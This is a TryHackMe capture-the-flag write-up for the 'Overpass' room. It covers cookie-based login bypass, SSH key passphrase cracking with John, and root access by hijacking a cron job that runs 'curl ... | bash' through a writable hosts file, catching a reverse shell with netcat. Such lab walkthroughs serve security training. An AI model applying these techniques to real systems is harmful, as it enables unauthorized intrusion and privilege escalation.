/ TRYHACKME, CTF

Overpass Write Up

GitHappens

Overview

Overpass is an easy room from TryHackMe with the description:

What happens when a group of broke Computer Science students try to make a password manager? Obviously a perfect commercial success!

The room is part of the Overpass series, over the next few weeks I plan to provide a write up for each series machine.

THMSeries

We have two tasks to complete, finding both the user and root flag. Typical CTF style room. Also a TryHackMe subscription code was hidden in the box, the first person to find and activate got a one month subscription for free. This has long been claimed however we will also find the code as part of the write up.

Nmap

TryHackMe will assign a dynamic IP as part of the deployment, the IP I will be targeting is ‘10.10.70.101’. I started by doing an nmap scan to check what ports are open.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $sudo nmap -sC -sV -oA nmap/initial 10.10.70.101
[sudo] password for daz: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-19 10:47 BST
Nmap scan report for 10.10.70.101
Host is up (0.039s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds

Enumeration

Only 2 ports open SSH and HTTP. I will start with HTTP as SSH as a smaller attack surface however the SSH banner does indicate its a Ubuntu machine. Also interestingly the HTTP banner is showing Golang net. Go is a open source programming language by Google.

First I will take a look at the webpage.

THMSeries

Clicking around its a basic webpage for a secure password manager. On the ‘About Us’ page I found a list of usernames:

  • Ninja - Lead Developer
  • Pars - Shibe Enthusiast and Emotional Support Animal Manager
  • Szymex - Head Of Security
  • Bee - Chief Drinking Water Coordinator
  • MuirlandOracle - Cryptography Consultant

These may be helpful later.

Also a download page is available to download the software.

Downloads

Ive downloaded a copy of the Linux binary, the source code and the build script. Before I look at them I ran a gobuster on the webpages to check for any other directories.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]                                                                
└──╼ $gobuster dir -u http://10.10.70.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================                                                
Gobuster v3.0.1                                                                                                
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                
===============================================================                                                
[+] Url:            http://10.10.70.101                                                                        
[+] Threads:        50                                                                                         
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                               
[+] Status codes:   200,204,301,302,307,401,403                                                                
[+] User Agent:     gobuster/3.0.1                                                                             
[+] Timeout:        10s                                                                                        
===============================================================                                                
2020/09/19 10:54:56 Starting gobuster                                                                          
===============================================================                                                
/img (Status: 301)                                                                                             
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)

/admin is new. This brings me to a simple login page.

admin

I tried various combinations of basic logins, admin/admin, admin/password etc but nothing worked. So I had a look at the source code for the admin page.

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
    <script src="/login.js"></script>
    <script src="/cookie.js"></script>
</head>

<body onload="onLoad()">
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a class="current" href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <div class="content">
        <h1>Administrator area</h1>
        <p>Please log in to access this content</p>
        <div>
            <h3 class="formTitle">Overpass administrator login</h1>
        </div>
        <form id="loginForm">
            <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
            <div class="formElem"><label for="password">Password:</label><input id="password" name="password"
                    type="password" required></div>
            <button>Login</button>
        </form>
        <div id="loginStatus"></div>
    </div>
</body>

</html>

/login.js looks interesting.

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Looking at the login function it appears the script will send a post request to /api/login and wait for a response. If the response equals “Incorrect credentials” the text is displayed to the user and the password field is reset to blank. However if the response does not equal “Incorrect credentials” a cookie is set. I wonder if I can set the cooke to any value and it will allow me to log in?

Foothold

First I clear the data and cookies from my browser. Then using a cookie editor I add the session token with a random value.

cookie

Now when I refresh the page I’m logged in and find James’s SSH key.

key

The key is encrypted so if I try and use it to log in it wont work unless I provide a password. I can use John to first get the hash and then crack to get the password. I coped the key to a text file called ‘key’, than ran ssh2john to get the hash. Then used john to crack it.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $/usr/share/john/ssh2john.py key > hash
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $john --format=ssh hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
          (key)

Ive removed the password from the output but the password was cracked and I can now use that to log in. First I chmod 600 the key file so I can use it to log in.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $chmod 600 key
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $ssh -i key james@10.10.70.101
Enter passphrase for key 'key': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Sep 19 10:39:34 UTC 2020

  System load:  0.0                Processes:           88
  Usage of /:   22.4% of 18.57GB   Users logged in:     0
  Memory usage: 11%                IP address for eth0: 10.10.70.101
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 

Im in! I can now grab the user.txt flag.

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
thm{65c1aaf0005
james@overpass-prod:~$ 

Priv Esc

Now to get root, when I grabbed the user.txt file I noticed a todo.txt file.

james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website
james@overpass-prod:~$ 

I will also run linpeas to see if anything jumps out.

Scrolling through the output I find a cron job running every minute:

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

I doubt overpass.thm is a legitmate url so I checked the local host file.

james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
james@overpass-prod:~$ 

So as root the cronjob is downloading the build script and piping it to bash. This looks to be our path to root if I can manipulate it.

james@overpass-prod:~$ ls -lah /etc/crontab
-rw-r--r-- 1 root root 822 Jun 27 04:18 /etc/crontab
james@overpass-prod:~$ 
james@overpass-prod:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 02:39 /etc/hosts
james@overpass-prod:~$ 

I don’t have permissions to change the cron job however I can change the hosts file and change the IP to point to my machine. I create the /downloads/src folders and a text file called buildscript.sh with the bash one liner found on pentestmonkey. I started a python webserver on port 80 and a netcat listener on port 8080 and waited for the cron job to run.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $nc -nvlp 8080
listening on [any] 8080 ...
connect to [10.8.21.217] from (UNKNOWN) [10.10.70.101] 39612
bash: cannot set terminal process group (21767): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# 

I have root! Now to grab the flag.

root@overpass-prod:~# cat root.txt
cat root.txt
thm{7f336f8c359
root@overpass-prod:~# 

The hidden code

During our enumeration we were able to download a Linux binary and the source code of the password manager however they were not used to root on the machine. Lets take a look at them now.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $cat buildscript.sh 
GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus

The build script.sh is a very simple bash script to build the binaries. So I next ran the Linux binary to see what the binary did.

┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]    
└──╼ $chmod +x overpassLinux                       
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]    
└──╼ $./overpassLinux 
open /home/daz/.overpass: no such file or directory
Failed to open or read file
Continuing with new password file.
Welcome to Overpass
Options:
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $./overpassLinux 
open /home/daz/.overpass: no such file or directory
Failed to open or read file
Continuing with new password file.
Welcome to Overpass
Options:
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       2
Enter Service Name:     test
Enter new password:     testing123
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $./overpassLinux 
Welcome to Overpass
Options:
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
test     testing123
┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass]
└──╼ $

When you run the binary you get 5 options but also an interesting message “open /home/daz/.overpass: no such file or directory” First I ran option 4 to see if any default values were included, but nothing was returned. So I then selected option 2, to set a password. Now when I ran the binary the message had gone and selecting option 4 displayed the values I had set.

Next I decided to look at the source code to see what the program was doing. Not being that familiar with Go I scanned through to see what jumped out.

//Encrypt the credentials and write them to a file.                                 
func saveCredsToFile(filepath string, passlist []passListEntry) string {            
        file, err := os.OpenFile(filepath, os.O_TRUNC|os.O_CREATE|os.O_WRONLY, 0644)
        if err != nil {                                                             
                fmt.Println(err.Error())                                            
                return err.Error()                                                  
        }                                                                           
        defer file.Close()                                                          
        stringToWrite := rot47(credsToJSON(passlist))                               
        if _, err := file.WriteString(stringToWrite); err != nil {                  
                fmt.Println(err.Error())                                            
                return err.Error()                                                  
        }                                                                           
        return "Success"                                                            
}                                                                                   

I found the encrypt function, what jumped out was its using rot47 to encrypt the sting and is indeed saving it to a local file. When I ran linpeas I noticed a tryhackme account on the system, I wonder if that has a .overpass file in the home directory and if so can we decode it?

root@overpass-prod:~# cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
tryhackme:x:1000:1000:tryhackme:/home/tryhackme:/bin/bash
james:x:1001:1001:,,,:/home/james:/bin/bash
root@overpass-prod:~# 
root@overpass-prod:~# cd /home/tryhackme
cd /home/tryhackme
root@overpass-prod:/home/tryhackme# ls -lah
ls -lah
total 7.8M
drwx------ 6 tryhackme tryhackme 4.0K Jun 27 16:13 .
drwxr-xr-x 4 root      root      4.0K Jun 27 02:20 ..
-rw-rw-r-- 1 tryhackme tryhackme    0 Jun 27 04:00 .bash_history
-rw------- 1 tryhackme tryhackme  220 Apr  4  2018 .bash_logout
-rw------- 1 tryhackme tryhackme 3.7K Apr  4  2018 .bashrc
drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:35 .cache
drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:15 .gnupg
-rw------- 1 tryhackme tryhackme   56 Jun 27 04:35 .overpass
-rw------- 1 tryhackme tryhackme  807 Apr  4  2018 .profile
drwxrwx--- 4 tryhackme tryhackme 4.0K Jun 27 02:35 go
drwx------ 6 tryhackme tryhackme 4.0K Jun 27 03:57 resources
-rwxrwxr-x 1 tryhackme tryhackme 7.8M Jun 27 03:53 server
root@overpass-prod:/home/tryhackme# cat .overpass
cat .overpass
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.
root@overpass-prod:/home/tryhackme#

Using a online decoder, I found this by googling rot47 and its top result. Entering the rot47 string I get a result.

code

As mentioned this code has been claimed but I wanted to show the steps on acquiring it.

[{“name”:”TryHackMe Subscription Code”,”pass”:”gmTDyl”}]

Thanks for reading!